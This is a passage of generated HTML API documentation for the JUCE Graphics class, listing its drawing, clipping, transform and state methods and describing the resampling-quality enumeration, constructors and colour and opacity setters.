colspan="2">&#160;</td></tr> <tr class="memitem:ab24a3f2ba3d648285fcad7c97fb8270f"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#ab24a3f2ba3d648285fcad7c97fb8270f">drawDashedLine</a> (const <a class="el" href="classLine.html">Line</a>&lt; float &gt; &amp;line, const float *dashLengths, int numDashLengths, float lineThickness=1.0f, int dashIndexToStartFrom=0) const </td></tr> <tr class="memdesc:ab24a3f2ba3d648285fcad7c97fb8270f"><td class="mdescLeft">&#160;</td><td class="mdescRight">Draws a dashed line using a custom set of dash-lengths. <a href="#ab24a3f2ba3d648285fcad7c97fb8270f"></a><br/></td></tr> <tr class="separator:ab24a3f2ba3d648285fcad7c97fb8270f"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a042d4f7223a63212ae1d9452e26cbd7a"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a042d4f7223a63212ae1d9452e26cbd7a">drawVerticalLine</a> (int x, float top, float bottom) const </td></tr> <tr class="memdesc:a042d4f7223a63212ae1d9452e26cbd7a"><td class="mdescLeft">&#160;</td><td class="mdescRight">Draws a vertical line of pixels at a given x position. <a href="#a042d4f7223a63212ae1d9452e26cbd7a"></a><br/></td></tr> <tr class="separator:a042d4f7223a63212ae1d9452e26cbd7a"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aeea9ba47ff90bb7643038692bf647738"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#aeea9ba47ff90bb7643038692bf647738">drawHorizontalLine</a> (int y, float left, float right) const </td></tr> <tr class="memdesc:aeea9ba47ff90bb7643038692bf647738"><td class="mdescLeft">&#160;</td><td class="mdescRight">Draws a horizontal line of pixels at a given y position. <a href="#aeea9ba47ff90bb7643038692bf647738"></a><br/></td></tr> <tr class="separator:aeea9ba47ff90bb7643038692bf647738"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a129aa4c9dcc137a1c910a2f5ef118fb7"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a129aa4c9dcc137a1c910a2f5ef118fb7">fillPath</a> (const <a class="el" href="classPath.html">Path</a> &amp;path, const <a class="el" href="classAffineTransform.html">AffineTransform</a> &amp;transform=<a class="el" href="classAffineTransform.html#a2173017e6300f667a23467505ca36276">AffineTransform::identity</a>) const </td></tr> <tr class="memdesc:a129aa4c9dcc137a1c910a2f5ef118fb7"><td class="mdescLeft">&#160;</td><td class="mdescRight">Fills a path using the currently selected colour or brush. <a href="#a129aa4c9dcc137a1c910a2f5ef118fb7"></a><br/></td></tr> <tr class="separator:a129aa4c9dcc137a1c910a2f5ef118fb7"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a5bd626168d02b83d10123e398da5c5a7"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a5bd626168d02b83d10123e398da5c5a7">strokePath</a> (const <a class="el" href="classPath.html">Path</a> &amp;path, const <a class="el" href="classPathStrokeType.html">PathStrokeType</a> &amp;strokeType, const <a class="el" href="classAffineTransform.html">AffineTransform</a> &amp;transform=<a class="el" href="classAffineTransform.html#a2173017e6300f667a23467505ca36276">AffineTransform::identity</a>) const </td></tr> <tr class="memdesc:a5bd626168d02b83d10123e398da5c5a7"><td class="mdescLeft">&#160;</td><td class="mdescRight">Draws a path's outline using the currently selected colour or brush. <a href="#a5bd626168d02b83d10123e398da5c5a7"></a><br/></td></tr> <tr class="separator:a5bd626168d02b83d10123e398da5c5a7"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ab1484b102f99384c443cfb5881d68fa9"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#ab1484b102f99384c443cfb5881d68fa9">drawArrow</a> (const <a class="el" href="classLine.html">Line</a>&lt; float &gt; &amp;line, float lineThickness, float arrowheadWidth, float arrowheadLength) const </td></tr> <tr class="memdesc:ab1484b102f99384c443cfb5881d68fa9"><td class="mdescLeft">&#160;</td><td class="mdescRight">Draws a line with an arrowhead at its end. <a href="#ab1484b102f99384c443cfb5881d68fa9"></a><br/></td></tr> <tr class="separator:ab1484b102f99384c443cfb5881d68fa9"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a0f8160f9b0a6866e40cf1a2b45c3b892"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a0f8160f9b0a6866e40cf1a2b45c3b892">setImageResamplingQuality</a> (const <a class="el" href="classGraphics.html#a5da218e649d1b5ac3d67443ae77caf87">ResamplingQuality</a> newQuality)</td></tr> <tr class="memdesc:a0f8160f9b0a6866e40cf1a2b45c3b892"><td class="mdescLeft">&#160;</td><td class="mdescRight">Changes the quality that will be used when resampling images. <a href="#a0f8160f9b0a6866e40cf1a2b45c3b892"></a><br/></td></tr> <tr class="separator:a0f8160f9b0a6866e40cf1a2b45c3b892"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ab754b6a67c6964be2d27b1ba82bdae56"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#ab754b6a67c6964be2d27b1ba82bdae56">drawImageAt</a> (const <a class="el" href="classImage.html">Image</a> &amp;imageToDraw, int topLeftX, int topLeftY, bool fillAlphaChannelWithCurrentBrush=false) const </td></tr> <tr class="memdesc:ab754b6a67c6964be2d27b1ba82bdae56"><td class="mdescLeft">&#160;</td><td class="mdescRight">Draws an image. <a href="#ab754b6a67c6964be2d27b1ba82bdae56"></a><br/></td></tr> <tr class="separator:ab754b6a67c6964be2d27b1ba82bdae56"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a6e09218805a3eb3f7d4973433647d0e9"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a6e09218805a3eb3f7d4973433647d0e9">drawImage</a> (const <a class="el" href="classImage.html">Image</a> &amp;imageToDraw, int destX, int destY, int destWidth, int destHeight, int sourceX, int sourceY, int sourceWidth, int sourceHeight, bool fillAlphaChannelWithCurrentBrush=false) const </td></tr> <tr class="memdesc:a6e09218805a3eb3f7d4973433647d0e9"><td class="mdescLeft">&#160;</td><td class="mdescRight">Draws part of an image, rescaling it to fit in a given target region. <a href="#a6e09218805a3eb3f7d4973433647d0e9"></a><br/></td></tr> <tr class="separator:a6e09218805a3eb3f7d4973433647d0e9"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a79c4f544cd7fcada2be7d24691e157a3"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a79c4f544cd7fcada2be7d24691e157a3">drawImageTransformed</a> (const <a class="el" href="classImage.html">Image</a> &amp;imageToDraw, const <a class="el" href="classAffineTransform.html">AffineTransform</a> &amp;transform, bool fillAlphaChannelWithCurrentBrush=false) const </td></tr> <tr class="memdesc:a79c4f544cd7fcada2be7d24691e157a3"><td class="mdescLeft">&#160;</td><td class="mdescRight">Draws an image, having applied an affine transform to it. <a href="#a79c4f544cd7fcada2be7d24691e157a3"></a><br/></td></tr> <tr class="separator:a79c4f544cd7fcada2be7d24691e157a3"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a3029f38ff98de2b5a44d3f0038d37351"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a3029f38ff98de2b5a44d3f0038d37351">drawImageWithin</a> (const <a class="el" href="classImage.html">Image</a> &amp;imageToDraw, int destX, int destY, int destWidth, int destHeight, <a class="el" href="classRectanglePlacement.html">RectanglePlacement</a> placementWithinTarget, bool fillAlphaChannelWithCurrentBrush=false) const </td></tr> <tr class="memdesc:a3029f38ff98de2b5a44d3f0038d37351"><td class="mdescLeft">&#160;</td><td class="mdescRight">Draws an image to fit within a designated rectangle. <a href="#a3029f38ff98de2b5a44d3f0038d37351"></a><br/></td></tr> <tr class="separator:a3029f38ff98de2b5a44d3f0038d37351"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a34942cbdbd743d7fd332c218ea7e4c5d"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classRectangle.html">Rectangle</a>&lt; int &gt;&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a34942cbdbd743d7fd332c218ea7e4c5d">getClipBounds</a> () const </td></tr> <tr class="memdesc:a34942cbdbd743d7fd332c218ea7e4c5d"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the position of the bounding box for the current clipping region. <a href="#a34942cbdbd743d7fd332c218ea7e4c5d"></a><br/></td></tr> <tr class="separator:a34942cbdbd743d7fd332c218ea7e4c5d"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a0a91a1c322713e070d8fd42796854340"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a0a91a1c322713e070d8fd42796854340">clipRegionIntersects</a> (const <a class="el" href="classRectangle.html">Rectangle</a>&lt; int &gt; &amp;area) const </td></tr> <tr class="memdesc:a0a91a1c322713e070d8fd42796854340"><td class="mdescLeft">&#160;</td><td class="mdescRight">Checks whether a rectangle overlaps the context's clipping region. <a href="#a0a91a1c322713e070d8fd42796854340"></a><br/></td></tr> <tr class="separator:a0a91a1c322713e070d8fd42796854340"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ad97e058fcff2bc0e634eacc4ef1d7a5f"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#ad97e058fcff2bc0e634eacc4ef1d7a5f">reduceClipRegion</a> (int x, int y, int width, int height)</td></tr> <tr class="memdesc:ad97e058fcff2bc0e634eacc4ef1d7a5f"><td class="mdescLeft">&#160;</td><td class="mdescRight">Intersects the current clipping region with another region. <a href="#ad97e058fcff2bc0e634eacc4ef1d7a5f"></a><br/></td></tr> <tr class="separator:ad97e058fcff2bc0e634eacc4ef1d7a5f"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a97cba43cb492f57590b5f211e590e38f"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a97cba43cb492f57590b5f211e590e38f">reduceClipRegion</a> (const <a class="el" href="classRectangle.html">Rectangle</a>&lt; int &gt; &amp;area)</td></tr> <tr class="memdesc:a97cba43cb492f57590b5f211e590e38f"><td class="mdescLeft">&#160;</td><td class="mdescRight">Intersects the current clipping region with another region. <a href="#a97cba43cb492f57590b5f211e590e38f"></a><br/></td></tr> <tr class="separator:a97cba43cb492f57590b5f211e590e38f"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a2d2bde76da1377ab9a22df09f7aadbe7"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a2d2bde76da1377ab9a22df09f7aadbe7">reduceClipRegion</a> (const <a class="el" href="classRectangleList.html">RectangleList</a>&lt; int &gt; &amp;clipRegion)</td></tr> <tr class="memdesc:a2d2bde76da1377ab9a22df09f7aadbe7"><td class="mdescLeft">&#160;</td><td class="mdescRight">Intersects the current clipping region with a rectangle list region. <a href="#a2d2bde76da1377ab9a22df09f7aadbe7"></a><br/></td></tr> <tr class="separator:a2d2bde76da1377ab9a22df09f7aadbe7"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a01d830805b335f8cdf52fadd00bd0d30"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a01d830805b335f8cdf52fadd00bd0d30">reduceClipRegion</a> (const <a class="el" href="classPath.html">Path</a> &amp;path, const <a class="el" href="classAffineTransform.html">AffineTransform</a> &amp;transform=<a class="el" href="classAffineTransform.html#a2173017e6300f667a23467505ca36276">AffineTransform::identity</a>)</td></tr> <tr class="memdesc:a01d830805b335f8cdf52fadd00bd0d30"><td class="mdescLeft">&#160;</td><td class="mdescRight">Intersects the current clipping region with a path. <a href="#a01d830805b335f8cdf52fadd00bd0d30"></a><br/></td></tr> <tr class="separator:a01d830805b335f8cdf52fadd00bd0d30"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a735b5096ea063020134fdf1c570dec9a"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a735b5096ea063020134fdf1c570dec9a">reduceClipRegion</a> (const <a class="el" href="classImage.html">Image</a> &amp;image, const <a class="el" href="classAffineTransform.html">AffineTransform</a> &amp;transform)</td></tr> <tr class="memdesc:a735b5096ea063020134fdf1c570dec9a"><td class="mdescLeft">&#160;</td><td class="mdescRight">Intersects the current clipping region with an image's alpha-channel. <a href="#a735b5096ea063020134fdf1c570dec9a"></a><br/></td></tr> <tr class="separator:a735b5096ea063020134fdf1c570dec9a"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a9ff97378305763a38f4a99bc638a8824"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a9ff97378305763a38f4a99bc638a8824">excludeClipRegion</a> (const <a class="el" href="classRectangle.html">Rectangle</a>&lt; int &gt; &amp;rectangleToExclude)</td></tr> <tr class="memdesc:a9ff97378305763a38f4a99bc638a8824"><td class="mdescLeft">&#160;</td><td class="mdescRight">Excludes a rectangle to stop it being drawn into. <a href="#a9ff97378305763a38f4a99bc638a8824"></a><br/></td></tr> <tr class="separator:a9ff97378305763a38f4a99bc638a8824"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a6ae806601e19bc1631085d6e2a7f5d74"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a6ae806601e19bc1631085d6e2a7f5d74">isClipEmpty</a> () const </td></tr> <tr class="memdesc:a6ae806601e19bc1631085d6e2a7f5d74"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns true if no drawing can be done because the clip region is zero. <a href="#a6ae806601e19bc1631085d6e2a7f5d74"></a><br/></td></tr> <tr class="separator:a6ae806601e19bc1631085d6e2a7f5d74"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ab4df35938684890f7adac0439e900ca8"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#ab4df35938684890f7adac0439e900ca8">saveState</a> ()</td></tr> <tr class="memdesc:ab4df35938684890f7adac0439e900ca8"><td class="mdescLeft">&#160;</td><td class="mdescRight">Saves the current graphics state on an internal stack. <a href="#ab4df35938684890f7adac0439e900ca8"></a><br/></td></tr> <tr class="separator:ab4df35938684890f7adac0439e900ca8"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ac724e99c9a7bcd8b2987a484e269a368"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#ac724e99c9a7bcd8b2987a484e269a368">restoreState</a> ()</td></tr> <tr class="memdesc:ac724e99c9a7bcd8b2987a484e269a368"><td class="mdescLeft">&#160;</td><td class="mdescRight">Restores a graphics state that was previously saved with <a class="el" href="classGraphics.html#ab4df35938684890f7adac0439e900ca8" title="Saves the current graphics state on an internal stack.">saveState()</a>. <a href="#ac724e99c9a7bcd8b2987a484e269a368"></a><br/></td></tr> <tr class="separator:ac724e99c9a7bcd8b2987a484e269a368"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ab8d8ee1c6bb810074eff904fd3c21fc4"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#ab8d8ee1c6bb810074eff904fd3c21fc4">beginTransparencyLayer</a> (float layerOpacity)</td></tr> <tr class="memdesc:ab8d8ee1c6bb810074eff904fd3c21fc4"><td class="mdescLeft">&#160;</td><td class="mdescRight">Begins rendering to an off-screen bitmap which will later be flattened onto the current context with the given opacity. <a href="#ab8d8ee1c6bb810074eff904fd3c21fc4"></a><br/></td></tr> <tr class="separator:ab8d8ee1c6bb810074eff904fd3c21fc4"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ae6b36ef8295dd83d33287a328e88ef9c"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#ae6b36ef8295dd83d33287a328e88ef9c">endTransparencyLayer</a> ()</td></tr> <tr class="memdesc:ae6b36ef8295dd83d33287a328e88ef9c"><td class="mdescLeft">&#160;</td><td class="mdescRight">Completes a drawing operation to a temporary semi-transparent buffer. <a href="#ae6b36ef8295dd83d33287a328e88ef9c"></a><br/></td></tr> <tr class="separator:ae6b36ef8295dd83d33287a328e88ef9c"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aa9bb2542780177c4d8ace477241a83b6"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#aa9bb2542780177c4d8ace477241a83b6">setOrigin</a> (<a class="el" href="classPoint.html">Point</a>&lt; int &gt; newOrigin)</td></tr> <tr class="memdesc:aa9bb2542780177c4d8ace477241a83b6"><td class="mdescLeft">&#160;</td><td class="mdescRight">Moves the position of the context's origin. <a href="#aa9bb2542780177c4d8ace477241a83b6"></a><br/></td></tr> <tr class="separator:aa9bb2542780177c4d8ace477241a83b6"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a9f6c05af33aefe49851d0d1eb9294bea"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a9f6c05af33aefe49851d0d1eb9294bea">setOrigin</a> (int newOriginX, int newOriginY)</td></tr> <tr class="memdesc:a9f6c05af33aefe49851d0d1eb9294bea"><td class="mdescLeft">&#160;</td><td class="mdescRight">Moves the position of the context's origin. <a href="#a9f6c05af33aefe49851d0d1eb9294bea"></a><br/></td></tr> <tr class="separator:a9f6c05af33aefe49851d0d1eb9294bea"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a7d9d400fdb96d3c6bbb640fb94b54d06"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a7d9d400fdb96d3c6bbb640fb94b54d06">addTransform</a> (const <a class="el" href="classAffineTransform.html">AffineTransform</a> &amp;transform)</td></tr> <tr class="memdesc:a7d9d400fdb96d3c6bbb640fb94b54d06"><td class="mdescLeft">&#160;</td><td class="mdescRight">Adds a transformation which will be performed on all the graphics operations that the context subsequently performs. <a href="#a7d9d400fdb96d3c6bbb640fb94b54d06"></a><br/></td></tr> <tr class="separator:a7d9d400fdb96d3c6bbb640fb94b54d06"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ab8b7cd49bf1ff738c5ff848727e3bc75"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#ab8b7cd49bf1ff738c5ff848727e3bc75">resetToDefaultState</a> ()</td></tr> <tr class="memdesc:ab8b7cd49bf1ff738c5ff848727e3bc75"><td class="mdescLeft">&#160;</td><td class="mdescRight">Resets the current colour, brush, and font to default settings. <a href="#ab8b7cd49bf1ff738c5ff848727e3bc75"></a><br/></td></tr> <tr class="separator:ab8b7cd49bf1ff738c5ff848727e3bc75"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ae584e8878455891d9010addb384425cd"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#ae584e8878455891d9010addb384425cd">isVectorDevice</a> () const </td></tr> <tr class="memdesc:ae584e8878455891d9010addb384425cd"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns true if this context is drawing to a vector-based device, such as a printer. <a href="#ae584e8878455891d9010addb384425cd"></a><br/></td></tr> <tr class="separator:ae584e8878455891d9010addb384425cd"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a83d19d1d12f7cff6ed9eada236516a63"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a83d19d1d12f7cff6ed9eada236516a63">Graphics</a> (<a class="el" href="classLowLevelGraphicsContext.html">LowLevelGraphicsContext</a> &amp;) noexcept</td></tr> <tr class="memdesc:a83d19d1d12f7cff6ed9eada236516a63"><td class="mdescLeft">&#160;</td><td class="mdescRight">Create a graphics that draws with a given low-level renderer. <a href="#a83d19d1d12f7cff6ed9eada236516a63"></a><br/></td></tr> <tr class="separator:a83d19d1d12f7cff6ed9eada236516a63"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a504995c303f45cce740dda9fa67f1a64"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classLowLevelGraphicsContext.html">LowLevelGraphicsContext</a> &amp;&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a504995c303f45cce740dda9fa67f1a64">getInternalContext</a> () const noexcept</td></tr> <tr class="separator:a504995c303f45cce740dda9fa67f1a64"><td class="memSeparator" colspan="2">&#160;</td></tr> </table> <a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2> <div class="textblock"><p>A graphics context, used for drawing a component or image. </p> <p>When a <a class="el" href="classComponent.html" title="The base class for all JUCE user-interface objects.">Component</a> needs painting, a <a class="el" href="classGraphics.html" title="A graphics context, used for drawing a component or image.">Graphics</a> context is passed to its <a class="el" href="classComponent.html#a7cf1862f4af5909ea72827898114a182" title="Components can override this method to draw their content.">Component::paint()</a> method, and this you then call methods within this object to actually draw the component's content.</p> <p>A <a class="el" href="classGraphics.html" title="A graphics context, used for drawing a component or image.">Graphics</a> can also be created from an image, to allow drawing directly onto that image.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classComponent.html#a7cf1862f4af5909ea72827898114a182" title="Components can override this method to draw their content.">Component::paint</a> </dd></dl> </div><h2 class="groupheader">Member Enumeration Documentation</h2> <a class="anchor" id="a5da218e649d1b5ac3d67443ae77caf87"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">enum <a class="el" href="classGraphics.html#a5da218e649d1b5ac3d67443ae77caf87">Graphics::ResamplingQuality</a></td> </tr> </table> </div><div class="memdoc"> <p>Types of rendering quality that can be specified when drawing images. </p> <dl class="section see"><dt>See Also</dt><dd>blendImage, <a class="el" href="classGraphics.html#a0f8160f9b0a6866e40cf1a2b45c3b892" title="Changes the quality that will be used when resampling images.">Graphics::setImageResamplingQuality</a> </dd></dl> <dl><dt><b>Enumerator: </b></dt><dd><table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"><em><a class="anchor" id="a5da218e649d1b5ac3d67443ae77caf87a4eb9cfa2e544befd2d50708e3316b28e"></a>lowResamplingQuality</em>&nbsp;</td><td> <p>Just uses a nearest-neighbour algorithm for resampling. </p> </td></tr> <tr><td valign="top"><em><a class="anchor" id="a5da218e649d1b5ac3d67443ae77caf87a5d8dfbf84457e91eb309b1402562f2af"></a>mediumResamplingQuality</em>&nbsp;</td><td> <p>Uses bilinear interpolation for upsampling and area-averaging for downsampling. </p> </td></tr> <tr><td valign="top"><em><a class="anchor" id="a5da218e649d1b5ac3d67443ae77caf87ae3c4b3cdf28f0aefc035977522675e8e"></a>highResamplingQuality</em>&nbsp;</td><td> <p>Uses bicubic interpolation for upsampling and area-averaging for downsampling. </p> </td></tr> </table> </dd> </dl> </div> </div> <h2 class="groupheader">Constructor &amp; Destructor Documentation</h2> <a class="anchor" id="ada6375a2e6bf68758a2191acb4d62c65"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">Graphics::Graphics </td> <td>(</td> <td class="paramtype">const <a class="el" href="classImage.html">Image</a> &amp;&#160;</td> <td class="paramname"><em>imageToDrawOnto</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">explicit</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Creates a <a class="el" href="classGraphics.html" title="A graphics context, used for drawing a component or image.">Graphics</a> object to draw directly onto the given image. </p> <p>The graphics object that is created will be set up to draw onto the image, with the context's clipping area being the entire size of the image, and its origin being the image's origin. To draw into a subsection of an image, use the <a class="el" href="classGraphics.html#ad97e058fcff2bc0e634eacc4ef1d7a5f" title="Intersects the current clipping region with another region.">reduceClipRegion()</a> and <a class="el" href="classGraphics.html#aa9bb2542780177c4d8ace477241a83b6" title="Moves the position of the context&#39;s origin.">setOrigin()</a> methods.</p> <p>Obviously you shouldn't delete the image before this context is deleted. </p> </div> </div> <a class="anchor" id="a7841c9a961ac9bca33bd30ddf8066cdb"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">Graphics::~Graphics </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Destructor. </p> </div> </div> <a class="anchor" id="a83d19d1d12f7cff6ed9eada236516a63"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">Graphics::Graphics </td> <td>(</td> <td class="paramtype"><a class="el" href="classLowLevelGraphicsContext.html">LowLevelGraphicsContext</a> &amp;&#160;</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Create a graphics that draws with a given low-level renderer. </p> <p>This method is intended for use only by people who know what they're doing. Note that the <a class="el" href="classLowLevelGraphicsContext.html" title="Interface class for graphics context objects, used internally by the Graphics class.">LowLevelGraphicsContext</a> will NOT be deleted by this object. </p> </div> </div> <h2 class="groupheader">Member Function Documentation</h2> <a class="anchor" id="a9a944a0006b7277fda473f0b1b4f028f"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::setColour </td> <td>(</td> <td class="paramtype"><a class="el" href="classColour.html">Colour</a>&#160;</td> <td class="paramname"><em>newColour</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Changes the current drawing colour. </p> <p>This sets the colour that will now be used for drawing operations - it also sets the opacity to that of the colour passed-in.</p> <p>If a brush is being used when this method is called, the brush will be deselected, and any subsequent drawing will be done with a solid colour brush instead.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#a1ce91a31ec1258a73ace93b6c337dbb2" title="Changes the opacity to use with the current colour.">setOpacity</a> </dd></dl> </div> </div> <a class="anchor" id="a1ce91a31ec1258a73ace93b6c337dbb2"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::setOpacity </td> <td>(</td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>newOpacity</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Changes the opacity to use with the current colour. </p> <p>If a solid colour is being used for drawing, this changes its opacity to this new value (i.e. it doesn't multiply the colour's opacity by this amount).</p> <p>If a gradient is being used, this will have no effect on it.</p> <p>A value of 0.0 is completely transparent, 1.0 is completely opaque. </p> </div> </div> <a class="anchor" id="a57478bc2496ebb84696e5ba64b455965"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::setGradientFill </td> <td>(</td> <td class="paramtype">const <a class="el" href="classColourGradient.html">ColourGradient</a> &amp;&#160;</td> <td class="paramname"><em>gradient</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Sets the context to use a gradient for its fill pattern. </p> </div> </div> <a class="anchor" id="a675cd4c4715165f0a0aec0bd8c3fe390"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::setTiledImageFill </td> <td>(</td> <td class="paramtype">const <a class="el" href="classImage.html">Image</a> &amp;&#160;</td> <td class="paramname"><em>imageToUse</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>anchorX</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>anchorY</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>opacity</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Sets the context to use a tiled image pattern for filling. </p> <p>Make sure that you don't delete this image while it's still being used by this context! </p> </div> </div> <a class="anchor" id="a763ea233d7b7c8e45e33c7ea8030ff48"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::setFillType </td> <td>(</td> <td class="paramtype">const <a class="el" href="classFillType.html">FillType</a> &amp;&#160;</td> <td class="paramname"><em>newFill</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Changes the current fill settings. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#a9a944a0006b7277fda473f0b1b4f028f" title="Changes the current drawing colour.">setColour</a>, <a class="el" href="classGraphics.html#a57478bc2496ebb84696e5ba64b455965" 